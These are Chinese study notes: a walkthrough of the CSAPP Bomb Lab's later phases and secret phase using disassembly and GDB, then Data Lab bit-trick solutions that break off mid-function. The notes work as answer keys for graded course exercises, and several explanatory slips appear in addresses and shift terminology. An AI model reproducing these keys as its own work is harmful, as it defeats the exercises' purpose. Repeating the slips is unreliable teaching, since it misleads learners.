自然会想到取0x804a290中的内容，是 “maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"，因为索引只有4位，所以有效的只有 “So” 前面的部分。可以看出，经过这个循环，在0x15+esp处形成了另一个长度为6的字符串。

asm

 8048e6c: c6 44 24 1b 00        movb   $0x0,0x1b(%esp)
 8048e71: c7 44 24 04 67 a2 04  movl   $0x804a267,0x4(%esp)
 8048e78: 08 
 8048e79: 8d 44 24 15           lea    0x15(%esp),%eax
 8048e7d: 89 04 24              mov    %eax,(%esp)
 8048e80: e8 65 02 00 00        call   80490ea <strings_not_equal>
 8048e85: 85 c0                 test   %eax,%eax
 8048e87: 74 10                 je     8048e99 <phase_5+0x74>

循环之后，call了一个 strings_not_equal，显然其中一个参数是我们刚刚形成的字符串，另一个在0x804a257。读取它，结果是 “bruins”。不算结束符号，正好六个字符。如果两个字符串相等的话，炸弹就可以解除了。我们所要做的，就是反推六个索引字符。每个字符只需要结尾四位符合索引值、属于可打印的值就可以了，所以可以有多种答案，比如 “-&#$(’”。

上面的流程，可以用一张图表示：

好了，又解决一道题。

Phase 6

关键词：链表

本Phase核心部分跳来跳去的，巨难。第一部分是熟悉的读6个数字，设 *a=0x10+esp，这里就不再赘述了。

asm

 8048eca: be 00 00 00 00        mov    $0x0,%esi ;set esi as i, i=0
 8048ecf: 8b 44 b4 10           mov    0x10(%esp,%esi,4),%eax ;eax = a[i]
 8048ed3: 83 e8 01              sub    $0x1,%eax ;eax = a[i] - 1
 8048ed6: 83 f8 05              cmp    $0x5,%eax ;compare eax with 5
 8048ed9: 76 05                 jbe    8048ee0 <phase_6+0x2f> ;if a[i] <= 5, dont explode
 8048edb: e8 15 03 00 00        call   80491f5 <explode_bomb>
 8048ee0: 83 c6 01              add    $0x1,%esi ;i++
 8048ee3: 83 fe 06              cmp    $0x6,%esi ;if i < 6, jump to 8048eef
 8048ee6: 75 07                 jne    8048eef <phase_6+0x3e>
 8048ee8: bb 00 00 00 00        mov    $0x0,%ebx
 8048eed: eb 38                 jmp    8048f27 <phase_6+0x76>
 8048eef: 89 f3                 mov    %esi,%ebx ;ebx=j=i
 8048ef1: 8b 44 9c 10           mov    0x10(%esp,%ebx,4),%eax ;eax = a[j]
 8048ef5: 39 44 b4 0c           cmp    %eax,0xc(%esp,%esi,4) ;compare a[i-1] and a[j]
 8048ef9: 75 05                 jne    8048f00 <phase_6+0x4f> ;if a[i-1] == a[j], explode
 8048efb: e8 f5 02 00 00        call   80491f5 <explode_bomb>
 8048f00: 83 c3 01              add    $0x1,%ebx ;j++
 8048f03: 83 fb 05              cmp    $0x5,%ebx ;if j<=5, jump to 8048ef1
 8048f06: 7e e9                 jle    8048ef1 <phase_6+0x40>
 8048f08: eb c5                 jmp    8048ecf <phase_6+0x1e> ;jump to next i of outer loop

上面是第二部分，代码里写了注释，包含了我对此代码的初步分析。观察可得，esi和ebx是两个循环变量，对于每个esi，ebx都要变一个来回，这证明了实际上是两层循环，esi设为i，是外层循环的循环变量，ebx设为j，是内层循环的循环变量。用C表示可能会好懂些：

for (int i = 0; i < 6;)
{
    if ((a[i] - 1 > 5 || a[i] - 1 <0) && a[i] != 0)
    {
        explode_bomb();
    }
    i++;
    for (int j = i; j <= 5; j++)
    {
        if (a[i - 1] == a[j])
        {
            explode_bomb();
        }
    }
}

简单来说，就是保证了数组a中值均小于等于6，且两两不相等。或者说，是1-6的一个排列（减1正是为了去除0的情况）。循环完成后，跳转到0x8048f27，进入第三部分。从这里开始就变得十分抽象了，但暂时没有懂的话不用急，会懂的。

asm

 8048f27: 89 de                 mov    %ebx,%esi
 8048f29: 8b 4c 9c 10           mov    0x10(%esp,%ebx,4),%ecx
 8048f2d: 83 f9 01              cmp    $0x1,%ecx
 8048f30: 7e e4                 jle    8048f16 <phase_6+0x65>
 8048f32: b8 01 00 00 00        mov    $0x1,%eax
 8048f37: ba 3c c1 04 08        mov    $0x804c13c,%edx
 8048f3c: eb cc                 jmp    8048f0a <phase_6+0x59>

在这段代码运行之前，在0x8048eed处，ebx已经被归零了，这里大胆猜测它是一个索引变量，这里将其设为k。而按照这个来推断的话，ecx首先被赋值a[k]。然后分了ecx是否小于等于1的情况（没有0，相当于是否等于1），如果不是，先给eax赋1，再将edx赋一个像是地址的立即数。eax可能是另一个索引变量，这里设为l。这里先来看ecx=1的情况。

asm

 8048f16: ba 3c c1 04 08        mov    $0x804c13c,%edx
 8048f1b: 89 54 b4 28           mov    %edx,0x28(%esp,%esi,4)
 8048f1f: 83 c3 01              add    $0x1,%ebx
 8048f22: 83 fb 06              cmp    $0x6,%ebx
 8048f25: 74 17                 je     8048f3e <phase_6+0x8d>

将1单独拎出来，或许和单独构建之后的数依赖的某种头有关。这里也将刚刚遇见过的一个立即数赋给了edx，那么不得不对其产生怀疑，那就用GDB进行一个内存的读。

比较难想到的一点是，你直接读取0x804c13c处的一个word，是读不到什么有用的信息的，但也不是完全无迹可寻。首先引人注意的是这个变量的名字 “node1”，让人不由得考虑链表的结构：如果能够依据此扩展显示的范围，向上图一样多显示几个word，就能够发现端倪。这样很容易能够推断出node的结构：4个字节的内容，4个字节的序号，4个字节的下一节点地址。接着往下读，发现node从1到6，可能对应了刚刚我们输入的六个值。即使不一次读3个也没关系，也能够观察到node标签。

很巧的是，8048f1b处的基址0x28，正好和a数组基址0x10差了24个字节，也就是6个双字变量。那么上面的汇编代码所要做的事情，就是将编号为1的节点地址存储到a数组之后。之后将ebx也就是k自增1，如果等于6则跳出这个循环，否则直接fallthrough。按理说，单单是a[k]=1的情况不需要又是自增又是判断。那么，如果不为1呢？

asm

 8048f32: b8 01 00 00 00        mov    $0x1,%eax
 8048f37: ba 3c c1 04 08        mov    $0x804c13c,%edx
 8048f3c: eb cc                 jmp    8048f0a <phase_6+0x59> 

 8048f0a: 8b 52 08              mov    0x8(%edx),%edx
 8048f0d: 83 c0 01              add    $0x1,%eax
 8048f10: 39 c8                 cmp    %ecx,%eax
 8048f12: 75 f6                 jne    8048f0a <phase_6+0x59>
 8048f14: eb 05                 jmp    8048f1b <phase_6+0x6a>

我在这里拼接了两段汇编代码，它们原本并不是连续的。现在edx寄存器保存了刚刚链表的首节点地址，而0x8048f0a处的指令，是将edx+8中的内容赋给edx。再次联想到刚刚所说的节点结构，每个节点地址 + 8位置的变量正是保存了下一个节点地址，这相当于C语言中的 p = p -> next。然后将eax即l自增1，直到 l = a [k]。那么C语言代码大概是这样：

do
{
    p = p->next;
    l++;
} while (l != a[i]);
asm("jmp 0x8048f1b");

接下来跳转到0x8048f1b，这也是刚刚a[k]=1的情况中，越过赋初值的语句处。

asm

 8048f1b: 89 54 b4 28           mov    %edx,0x28(%esp,%esi,4)
 8048f1f: 83 c3 01              add    $0x1,%ebx
 8048f22: 83 fb 06              cmp    $0x6,%ebx
 8048f25: 74 17                 je     8048f3e <phase_6+0x8d>

这块代码的行为应该不需要过多解释了，两部分结合来看，所做的事情就是将第 a[k] 个节点的地址，填入esp+0x28这个数组（设置为n）中的第k个位置。连起来，翻译成C语言：

int l;
node *head = 0x804c13c, *p, *n[6];
for (int k = 0; k < 6; i++)
{
    if (a[k] == 1)
    {
        n[k] = head;
    }
    else
    {
        p = head;
        l = 1;
        do
        {
            p = p->next;
            l++;
        } while (l != a[k]);
        n[k] = p;
    }
}

从0x8048f3e开始，到0x8048f5a，是第四部分。

asm

 8048f3e: 8b 5c 24 28           mov    0x28(%esp),%ebx
 8048f42: 8d 44 24 2c           lea    0x2c(%esp),%eax
 8048f46: 8d 74 24 40           lea    0x40(%esp),%esi
 8048f4a: 89 d9                 mov    %ebx,%ecx
 8048f4c: 8b 10                 mov    (%eax),%edx
 8048f4e: 89 51 08              mov    %edx,0x8(%ecx)
 8048f51: 83 c0 04              add    $0x4,%eax
 8048f54: 39 f0                 cmp    %esi,%eax
 8048f56: 74 04                 je     8048f5c <phase_6+0xab>
 8048f58: 89 d1                 mov    %edx,%ecx
 8048f5a: eb f0                 jmp    8048f4c <phase_6+0x9b>
 8048f5c: c7 42 08 00 00 00 00  movl   $0x0,0x8(%edx)

这一段的主要作用是将各节点按照在 n 中的顺序重新连起来，并将尾节点next设为null。它遍历了 p 中5对相邻两节点的组合，并对每个组合，将前一个节点连到后一个节点上，而它的关键就在0x8049f4e：将后一个节点的地址写入到前一个节点的 next 部分。对这一段要整体去把握，如果尝试理解每一句的意思是很有困难的。

asm

 8048f63: be 05 00 00 00        mov    $0x5,%esi
 8048f68: 8b 43 08              mov    0x8(%ebx),%eax
 8048f6b: 8b 00                 mov    (%eax),%eax
 8048f6d: 39 03                 cmp    %eax,(%ebx)
 8048f6f: 7d 05                 jge    8048f76 <phase_6+0xc5>
 8048f71: e8 7f 02 00 00        call   80491f5 <explode_bomb>
 8048f76: 8b 5b 08              mov    0x8(%ebx),%ebx
 8048f79: 83 ee 01              sub    $0x1,%esi
 8048f7c: 75 ea                 jne    8048f68 <phase_6+0xb7>

进入第五部分，这一部分干的事情是将上面提到的5个组合反向遍历一遍，并要求前一个节点的值大于等于后一个，即要求最后链表的值是降序排列的。现在题目的条件就完全显露出来了，我们可以根据节点的值来确定输入六个数的顺序。按原顺序（重新连接之前），可以得出：

十六进制值	0x12d	0x36	0x247	0x3e6	0x27c	0xd0
十进制值	301	54	583	998	636	208

第一个当然要选择最大的，就是998，对应4；第二个是636，对应5…… 这样推出答案，就是4 5 3 1 6 2。

Secret Phase

关键词：二叉搜索树

在 bomb.c 中，作者已经暗示了一个missing的secret phase的存在。但是第六个phase完成后，程序会自动退出，所以我们首先需要另辟蹊径，找一个能够call出secret phase的地方，而它就在phase_defused中。

在每次phase结束之后，都会调用一次phase_defused。而它的反汇编代码中，有很多跳转语句可能直接跳过secret phase的调用过程。那么直接先分析它的反汇编代码。

asm

 8049366: 81 ec 8c 00 00 00     sub    $0x8c,%esp
 804936c: 65 a1 14 00 00 00     mov    %gs:0x14,%eax
 8049372: 89 44 24 7c           mov    %eax,0x7c(%esp)
 8049376: 31 c0                 xor    %eax,%eax
 8049378: 83 3d c8 c3 04 08 06  cmpl   $0x6,0x804c3c8
 804937f: 75 72                 jne    80493f3 <phase_defused+0x8d>

这是第一个可能跳过的地方。它将0x804c3c8指向的内容和0x6相比，查到在这之外有 read_line 和 skip 调用了这个地址，但我懒得分析，于是在0x8049378处打断点，在每次运行到此处的时候观察它的值（可以用GDB的display功能）。结果是十分巧合的，每解开一个phase，这个变量都会 + 1。

而这个变量的label正好叫 num_input_string，代表已经输入的字符串数量，再结合下一行代码来看，如果没有输够六个，就直接跳过去。也就是说，只有在第六个phase之后，才有机会进入secret phase。

asm

 8049381: 8d 44 24 2c           lea    0x2c(%esp),%eax
 8049385: 89 44 24 10           mov    %eax,0x10(%esp)
 8049389: 8d 44 24 28           lea    0x28(%esp),%eax
 804938d: 89 44 24 0c           mov    %eax,0xc(%esp)
 8049391: 8d 44 24 24           lea    0x24(%esp),%eax
 8049395: 89 44 24 08           mov    %eax,0x8(%esp)
 8049399: c7 44 24 04 09 a4 04  movl   $0x804a409,0x4(%esp)
 80493a0: 08 
 80493a1: c7 04 24 d0 c4 04 08  movl   $0x804c4d0,(%esp)
 80493a8: e8 b3 f4 ff ff        call   8048860 <__isoc99_sscanf@plt>
 80493ad: 83 f8 03              cmp    $0x3,%eax
 80493b0: 75 35                 jne    80493e7 <phase_defused+0x81>

这是第二个可能跳过的地方。我们先前已经熟悉了 sscanf 的参数设定，这次使用GDB读取0x804a409的字符串，得到 “%d %d %s”，这意味着我们需要输入两个数和一个字符串。跳过的条件是少于三个参数。

这里奇怪的是，为什么在没有输入的情况下，仍然有0x804c4d0作为源字符串？在运行到此处时读取它，发现在使用原正确答案输入的时候，读取到的是 “0 0”，恰巧和Phase 4的正解之一相同。为了进一步验证这一想法，可以尝试将第四题的所有正解代入，比对输入的正解和读取到的字符串，此处不再详述。结果是确实相同。

再想到Phase 4也使用了 sscanf，多余的参数并不会影响识别，所以第四题必须多输入一个字符串。

asm

 80493b2: c7 44 24 04 12 a4 04  movl   $0x804a412,0x4(%esp)
 80493b9: 08 
 80493ba: 8d 44 24 2c           lea    0x2c(%esp),%eax
 80493be: 89 04 24              mov    %eax,(%esp)
 80493c1: e8 24 fd ff ff        call   80490ea <strings_not_equal>
 80493c6: 85 c0                 test   %eax,%eax
 80493c8: 75 1d                 jne    80493e7 <phase_defused+0x81>

这一段将0x804a412指向的字符串（读取得 “DrEvil”）与 0x2c+esp 处的字符串（即刚刚多输入的那个）相比，如果不相等则跳过。

现在进入Secret Phase的条件就很清楚了：在第四题的答案后加入一串 “DrEvil”。按要求输入后，果然弹出了几行文字提示，进入了传说中的Secret Phase。下面是它的部分反汇编代码：

asm

 8048fd9: e8 8e 02 00 00        call   804926c <read_line>
 8048fde: c7 44 24 08 0a 00 00  movl   $0xa,0x8(%esp)
 8048fe5: 00 
 8048fe6: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
 8048fed: 00 
 8048fee: 89 04 24              mov    %eax,(%esp)
 8048ff1: e8 da f8 ff ff        call   80488d0 <strtol@plt>

首先调用了一个 read_line，读取一行字符串。然后构建了 strtol 的三个参数，分别是刚刚输入的字符串、0和10。在Shell中输入 man strtol 来查看文档，内容如下。

可以看到这个函数的功能是将一个字符串转换为长整型。第一个参数是字符串的起始地址；第二个参数是结束地址，这里传入一个0代表NULL；第三个参数则是进制，这里为10。返回值是转换结果。

那么这一整串代码的作用，就是输入一个整数。

asm

 8048ff6: 89 c3                 mov    %eax,%ebx
 8048ff8: 8d 40 ff              lea    -0x1(%eax),%eax
 8048ffb: 3d e8 03 00 00        cmp    $0x3e8,%eax
 8049000: 76 05                 jbe    8049007 <secret_phase+0x32>

这部分代码的作用是限制读取的整数在 $[1,1001]$ 范围内，减一是为了去除0。

asm

 8049007: 89 5c 24 04           mov    %ebx,0x4(%esp)
 804900b: c7 04 24 88 c0 04 08  movl   $0x804c088,(%esp)
 8049012: e8 6d ff ff ff        call   8048f84 <fun7>
 8049017: 83 f8 05              cmp    $0x5,%eax
 804901a: 74 05                 je     8049021 <secret_phase+0x4c>

这部分调用了 fun7，参数分别是像一个地址的立即数和刚刚输入的数。如果返回值为5，则成功解决Secret Phase。

下面是 fun7 的部分反汇编代码。

asm

 8048f88: 8b 54 24 20           mov    0x20(%esp),%edx
 8048f8c: 8b 4c 24 24           mov    0x24(%esp),%ecx
 8048f90: 85 d2                 test   %edx,%edx
 8048f92: 74 37                 je     8048fcb <fun7+0x47>

首先很容易看出来 fun7 一开始是检查edx是否为0，但暂时不知道那两个mov是什么意思。瞥一眼后面的代码，发现edx后面的地址多次作为参数被递归调用，于是决定看一眼edx。

label后面有序号，预示着后面可能还有值的存在，将预览范围扩展到下一个label出现前，发现排列有一定的规律。这一块内存似乎表示了一个三元组，由值和两个地址构成，符合一个二叉树节点的形式。按照这个形式把它组织起来，如下图。节点并不是按顺序组织的，写的时候对每个节点只写其值和左右字节点的地址，会更方便。

我们惊奇地发现这是一棵二叉搜索树，而且是十分平衡的AVL树，刚刚筛选范围在 $[1,1001]$ 的目的，正是保证输入的值有位置可放。GDB读到的label符合一个 $nxy$ 的格式，$x$ 代表层数（从1开始），$y$ 代表从左开始数的序号，如 $n46$ 正好是第四行第六个节点。传入 fun7 的第一个参数是AVL树的当前节点地址（而从 secret_phase 调用时是根节点地址），第二个参数是我们输入的数，分别放置在edx和ecx中，设为 node *p 和 int num。test指令的目的是检查当前节点是否存在（如果不存在则地址为0，相当于NULL），不存在则返回 - 1。

asm

1
2
3

 8048f94: 8b 1a                 mov    (%edx),%ebx
 8048f96: 39 cb                 cmp    %ecx,%ebx
 8048f98: 7e 13                 jle    8048fad <fun7+0x29>

这段代码比较了 num 和 p->val，如果前者不小于后者，则跳转。首先来看 num <p->val 的情况。

asm

 8048f9a: 89 4c 24 04           mov    %ecx,0x4(%esp)
 8048f9e: 8b 42 04              mov    0x4(%edx),%eax
 8048fa1: 89 04 24              mov    %eax,(%esp)
 8048fa4: e8 db ff ff ff        call   8048f84 <fun7>
 8048fa9: 01 c0                 add    %eax,%eax
 8048fab: eb 23                 jmp    8048fd0 <fun7+0x4c>

这部分调用了 fun7(p->left, num)，然后把返回值乘以2再返回。

asm

1
2
3

 8048fad: b8 00 00 00 00        mov    $0x0,%eax
 8048fb2: 39 cb                 cmp    %ecx,%ebx
 8048fb4: 74 1a                 je     8048fd0 <fun7+0x4c>

继续比较 num 和 p->val，如果相等，返回0。那么剩下的就是 num > p->val 的情况。

asm

 8048fb6: 89 4c 24 04           mov    %ecx,0x4(%esp)
 8048fba: 8b 42 08              mov    0x8(%edx),%eax
 8048fbd: 89 04 24              mov    %eax,(%esp)
 8048fc0: e8 bf ff ff ff        call   8048f84 <fun7>
 8048fc5: 8d 44 00 01           lea    0x1(%eax,%eax,1),%eax
 8048fc9: eb 05                 jmp    8048fd0 <fun7+0x4c>

调用 func7(p->right, num)，然后把返回值乘2加1再返回。

可以看到，func7所做的就是 “搜索” 的操作，我们所期望的返回值5就是根据输入数和节点的关系，通过一层一层递归中的运算构建出来的。借此，我们可以反推num在树中的位置。

首先num肯定存在于树中，因为如果不存在，必会返回 - 1，无法通过计算得到。很容易能够得到唯一解：$5=((0 \times 2+1) \times 2) \times 2+1$，也就是从根节点出发，路径为右、左、右，得出输入的值为0x2f，即47。

在对应的位置输入47（我这里直接暴力改寄存器和内存了），Secret Phase也就被解决了。

如果你看到这里的话，那我大概可以祝贺你成功解开了Bomb Lab。如果给予足够的时间，Bomb Lab是可以带来很多乐趣的，可以说是一个非常巧妙的实验。从一片汇编代码中挖出数据结构再到理清逻辑，是非常有成就感的事情。如果你想对Bomb Lab有更多的研究，可以查看下面的GitHub仓库，里面疑似是Bomb Lab的指导者源码，用于生成炸弹。但如果你还没做完，建议不要进入查看，毕竟正推就没什么意思了，你说呢？

kiliczsh/cmu-binary-bomb

CSAPP 2e Data Lab 笔记

Thu, 17 Mar 2022 00:00:00 +0000

本人环境：Ubuntu 22.04 LTS amd64，GCC 11.2.0，GNU Make 4.3

前言

这是《深入理解计算机系统》的第一个Lab，要求以指定的方式完成某种计算，通过填写函数实现。

不要忘了阅读 bits.c 开头的Integer Coding Rules和Floating Point Coding Rules，以及每题开头的要求，它规定了使用者可以执行的操作。

用二进制的思想，而不是十进制的思想，对完成题目有很大的帮助。

本笔记离不开参考资料的支持，我特意将其放至开头：

参考资料：

1. bitAnd

cpp

int bitAnd(int x, int y)
{
  // Just discrete mathematics. XY=\overline{X+Y}.
  return ~((~x) | (~y));
}

计算 x&y，但只能用 ~ 和 | 运算符。

离散数学的基础关系代数知识，由德摩根律，$XY=\overline{X+Y}$。

2. getByte

cpp

int getByte(int x, int n)
{
  int mask = 0xff;               // Leave only the last 2 bytes
  return (x>> (n << 3) & mask); // Right move 8n bits, i.e. n bytes
}

从 $x$ 中获取第 $n$ 位。

不要把 int x 当成一个整型了，直接想象它的二进制码。如果将指定位的左右两边全都去掉，这个数不就等于想要的单个位了吗？

去掉右边的数很容易，直接右移 $8n$ 位，这样想要的部分就直接到了最低位。而要去掉多余的高位，需要让它与 mask 按位与，来将高位置0。

那，mask 是个什么来头？先说说子网掩码：如果有两个IP地址，将它们分别与子网掩码做按位与运算，若结果相同，则这两个IP地址在同一个网段中。mask 有类似的功能，具体来说，这里的 mask 转换为二进制是1111 1111 1111 1111，如果作为一个int类型，前24位皆为0。将这个数与任何一个int进行按位与，结果就是将前24位全部置0的原数，因为 $0\&x=0$，$1\&x=x$，其中 $x=0\ or\ 1$。后面我们还会使用这个设计。

3. logicalShift

cpp

int logicalShift(int x, int n)
{
  int topMask = 0x1 <<(32 + ~n); // 32+~n=31-n, to get the top mask
  int lowerMask = (0x1 << (32 + ~n)) + ~0;
  return (x>> n) & (topMask | lowerMask);
}

对 $x$ 向右进行逻辑移位 $n$ 位。移位运算符采用的算术移位，在右移时补充的值与符号位相同，而算术移位一律补0。

像上题一样，我们可以算术移 $n$ 位，然后使用一个掩码来让补上的部分强制置0。这里参考了参考资料 1 的做法，简略来说就是为了避免未定义的行为，分别构建了高位和低位的掩码。具体的可以直接看原文。

很多题目中是不允许我们使用减法的，我们可以使用取反加一的办法直接得到补码，如上面代码中 $31-n=32+~n$。这个方法在下面也经常用到。

4. bitCount

cpp

int bitCount(int x)
{
  int mask = (0x55) | ((0x55) <<8); // 0x00005555
  mask = mask | (mask << 16);        // 0x55555555
  x = (x & mask) + (x>> 1 & mask);  // 2-bit sum
  mask = (0x33) | ((0x33) <<8);     // 0x00003333
  mask = mask | (mask << 16);        // 0x33333333
  x = (x & mask) + (x>> 2 & mask);  // 4-bit sum
  mask = (0x0f) | (0x0f << 8);       // 0x00000f0f
  mask = mask | (mask << 16);        // 0x0f0f0f0f
  x = (x & mask) + (x>> 4 & mask);  // 8-bit sum
  mask = (0xff) | (0xff << 16);      // 0x00ff00ff
  x = (x & mask) + (x>> 8 & mask);  // 16-bit sum
  mask = (0xff) | (0xff << 8);       // 0x0000ffff
  x = (x & mask) + (x>> 16 & mask); // 32-bit sum
  return x;
}

统计 $x$ 所有二进制位中 $1$ 的数目。

首先想到的是参考资料 2 中”2.2统计true的数目“部分的解法，总体的思想是二分法，通过不断合并相邻两个分区的1数量，得到整体1的数量。与上面的代码不同，它直接将五个掩码写进了程序。

cpp

int popcount(unsigned int x)
{
    x=(x&0x55555555)+(x>>1&0x55555555);
    x=(x&0x33333333)+(x>>2&0x33333333);
    x=(x&0x0F0F0F0F)+(x>>4&0x0F0F0F0F);
    x=(x&0x00FF00FF)+(x>>8&0x00FF00FF);
    x=(x&0x0000FFFF)+(x>>16&0x0000FFFF);
    return x;
}

将 0x55555555 转化为二进制，可以很容易得出它作为掩码的作用是只留下一个数中偶数位的部分（从0开始），其他置0，而函数中第一个语句的作用，就是将奇数位移到右边的偶数位上相加，并得出结果。第 $n$ 位的值也可以看作第 $n$ 位这个区间有多少个1，合并后。就是两位加起来有多少个1。

然后，第二行的作用是将第0-1位的1个数与第2-3位合并，以此类推，得到0-3位、4-7位，然后在第三行再进行合并…… 最后，将0-15位和16-31位合并，就是整个整型数的1个数。

配合下面的图可能能够更好地理解：

图源参考资料2，侵删

但是如果你想在datalab中这么填，是通不过测试的，因为十六进制常数的范围是 $0x00$~$0xff$，也就是说如此大的掩码是无法直接使用的。所以，我们需要自行从两位16进制数构造8位16进制数。拿第一个 mask 举例：

cpp

1
2

int mask = (0x55) | ((0x55) <<8); // 0x00005555
mask = mask | (mask << 16);        // 0x55555555

2位16进制能充当8位二进制。先通过按位与和左移8位（二进制）的操作，生成低4位十六进制，然后再通过左移和按位与的操作，将其复制到高4位一份。这样，掩码就构建好了。如将其压缩到一句中，分别给予左移24、16、8、0位，则运算符数量会超过限制。

5. bang

cpp

int bang(int x)
{
  x = (x>> 16) | x;
  x = (x>> 8) | x;
  x = (x>> 4) | x;
  x = (x>> 2) | x;
  x = (x>> 1) | x;
  return ~x & 0x1;
}

在不使用 $!$ 的情况下计算非 $x$。

非运算表现为，如果 $x$ 不为0，则结果为1，否则结果为0。也就是说，只要有任何一个二进制位为1，取非得到的结果就是0，那么我们就可以将 $x$ 的所有位 “压缩 “到第0位。如果 $x$ 中含有1，那么第0位就会是1。

最后一个语句是将 $x$ 按位取反，然后只留最后一位。这样返回的就是取非的结果了。

6. tmin

cpp

int tmin(void)
{
  return 1 << 31;
}

返回补码的最小值。

int型能表示的最大正数是 $2^{31}-1$，而 $2^{31}$ 可以故意让其上溢出，就可以得到补码的最小值了。

7. fitsBits

cpp

int fitsBits(int x, int n)
{
  int moveBits = 33 + ~n;                   // Equals to 32-n
  int result = (x << moveBits) >> moveBits; // Left move, and then right move
  return !(x ^ result);                     // If okay, result should be equal to x
}

如果 $x$ 能够用 $n$ 位补码表示，返回1。

如果你使用新版本Linux，可能会导致无法通过btest测试，换别人的正解代码也一样。如果遇到此问题，请使用老版本，实测Ubuntu 12.04 LTS（Linux 3.10）可用。此处的不同可能与下面的汇编代码不同有关：

既然题目想知道 $x$ 能否用 $n$ 位补码表示，那么就创造一个 $n$ 位补码的环境。具体地来讲，就是向左移，直到从第31位到原数最低位就是 $n$ 位。

如果这个数并不能用 $n$ 位补码表示，那么原数字的高位就会被 “挤掉”，而这样的数再右移，无法再恢复被挤掉的数字。如果能如此表示，那么这个数本身并不会受到任何损失；算术右移同样位数之后，就可以恢复原来的状态。

最后再将其与原数异或取反，就可以得到结果。

8. divpwr2

cpp

int divpwr2(int x, int n)
{
  int bias = (x>> 31) & ((1 << n) + ~0);
  return (x + bias) >> n;
}

返回 $x/2^n$，向零舍入。

右移运算会向下舍入，而题目要求负数向上舍入。CSAPP书中的解决方法是为负数添加一个bias（偏置）值 $2^k-1$，这样右移的时候就可以向上舍入了。x>>31 正是为了判断正负，提取了符号位。

9. negate

cpp

int negate(int x)
{
  return ~x + 1;
}

返回 $-x$。

计算补码，取反加一。

10. isPositive

cpp

int isPositive(int x)
{
  return !(!(x)) & !((x>> 31) & 1);
}

如果 $x$ 是一个正数，返回1。

正数的符号位是0，但符号位是0的也可能是0。内部先判断” 是否 $x \le 0$“，然后取非，就得到了是否为正数。

11. isLessOrEqual

cpp

int isLessOrEqual(int x, int y)
{
  int val = ((x + ~y) >> 31) & 1;
  x = x >> 31;
  y = y >> 31;
  return ((x & 1) | !y) & (((x & 1) & !y) | (val));
}

val取的是 $x-y-1$ 的符号位，如果 $x>y$ 才会为0（因为整型，$x \ge y+1$），否则为1。1是掩码，防止为负时右移补出来一堆不需要的1。

然后是取x和y的符号位，掩不掩都行。

最后还要判断溢出的情况，如果 $x<0,\ y>0$ 则直接返回1。

12. ilog2

cpp

int ilog2(int x)
{
  int mask;

  x = (x>> 1) | x;
  x = (x>> 2) | x;
  x = (x>> 4) | x;
  x = (x>> 8) | x;
  x = (x>> 16) | x;

  mask = (0x55) | ((0x55) <<8);     // 0x00005555
  mask = mask | (mask << 16);        // 0x55555555
  x = (x & mask) + (x>> 1 & mask);  // 2-bit sum
  mask = (0x33) | ((0x33) <<8);     // 0x00003333
  mask = mask | (mask << 16);        // 0x33333333
  x = (x & mask) + (x>> 2 & mask);  // 4-bit sum
  mask = (0x0f) | (0x0f << 8);       // 0x00000f0f
  mask = mask | (mask << 16);        // 0x0f0f0f0f
  x = (x & mask) + (x>> 4 & mask);  // 8-bit sum
  mask = (0xff) | (0xff << 16);      // 0x00ff00ff
  x = (x & mask) + (x>> 8 & mask);  // 16-bit sum
  mask = (0xff) | (0xff << 8);       // 0x0000ffff
  x = (x & mask) + (x>> 16 & mask); // 32-bit sum
  return x + ~0;
}

求 $log_2x$ 向下取整的值。

借鉴了参考资料 3 的做法，思路更加清晰，容易理解。首先我们知道，一个数以二进制表示，最高1位所对应的2的次方，就是 $log_2x$ 向下取整的值。举个例子来说，$(45)_{10}=(101101)_2=(1 \times 2^5+0 \times 2^4+1 \times 2^3+1 \times 2^2+0 \times 2^1+1 \times 2^0)_{10}$，那么就有 $log_2 45 = log_2 32 + log_2 \frac{45}{32}=5+x$，其中x肯定是一个小于1的数。那么，一个可行的思路就是找到最高位的1是第几位减一，但直接逐位右移再判断并不是可行的方法，因为较低位也可能为0，可能统计不到真正的最高位就以为是最高位了。所以，我们先把非最高位全都设成1，然后再统计1的个数即可。

先是类似于第5题 “Bang”的做法，将高位 “折” 下来。与第五题不同，这里移动的位数从低到高，因为先移16位的话，并不能保证高16位中能够正确地设1；相反的，第5题使用这种顺序则是可以的。

然后是第4题 “bitCount” 的做法，统计有多少个1，就可以得知最高位的1是第几位（从1开始计）。不过，由于第1位代表 $2^0$，最后还要将结果减一。

以下三道题全都是浮点数的题了。虽然参数看似并不是浮点数类型，但是二进制表示上，仍然是一个浮点数。某种程度上，这也是在鼓励学习者用二进制的方式思考问题。这三道题相比之前的限制条件更少，比如运算符都可以用了，还可以使用条件和循环控制语句。

13. float_neg

cpp

unsigned float_neg(unsigned uf)
{
  int c = 0x00ffffff;
  if ((~(uf << 1)) <c)
  {
    return uf;
  }
  else
  {
    return uf ^ (0x80000000);
  }
}

本题要求返回参数的相反数。如果参数是INF，则返回参数本身。

难度主要在判断INF上。INF的特征是指数域全为1，尾数域不全为0。一个可行的思路是通过比较指数域和尾数域的大小来区分是否为INF，但符号位会干扰比较，虽然理论上可以使用四个端点值分别比较大小得出结论，但未免有点不优雅。所以，这里向左移一位把符号位去掉，取反，然后和c比较大小。现在，前8位是取反的指数域，后23位是取反的尾数域，最后一位是左移补上的0。如果它是NaN，则此时前4位必然是0，后24位必然小于 0xffffff（或者 0xfffffe）。这样，只需要一次比较就可以搞定，非常优雅（确信）。

否则，就将最高位也就是符号位与1异或，就相当于取反了。

14. float_i2f

cpp

unsigned float_i2f(int x)
{
  int sign, exp = 0, frac = 0, i = 0;

  if (x == 0) // Two special situations, cannot be calculated normally
  {
    return 0;
  }
  if (x == 0x80000000)
  {
    return 0xcf000000;
  }

  sign = (x>> 31) & 1; // Get the sign bit & abs(x)
  if (sign)
  {
    x = -x;
  }

  i = 30; // Not 31 coz the top bit is always 0
  while (!(x>> i))
  {
    i--;
  }
  exp = i + 127; // Get the exponent. i is the E, unbiased

  x = x <<(31 - i);          // Left shift to clean zeroes, right shift to fit 23 bits...
  frac = (x>> 8) & 0x7fffff; // ...to get the fraction
  x = x & 0xff;
  frac += (x> 0x80) || ((x == 0x80) && (frac & 0x01)); // Round up if fraction is greater than 0.5
  if (frac>> 23)
  {
    exp++;
    frac = frac & 0x7fffff;
  }
  return (sign << 31) | (exp << 23) | frac;
}

将一个整形转化为浮点数格式。

建议直接看参考资料 4。

15. float_twice

cpp

unsigned float_twice(unsigned uf)
{
  int uf_nosign;
  int sign = uf & 0x80000000;   // sign bit
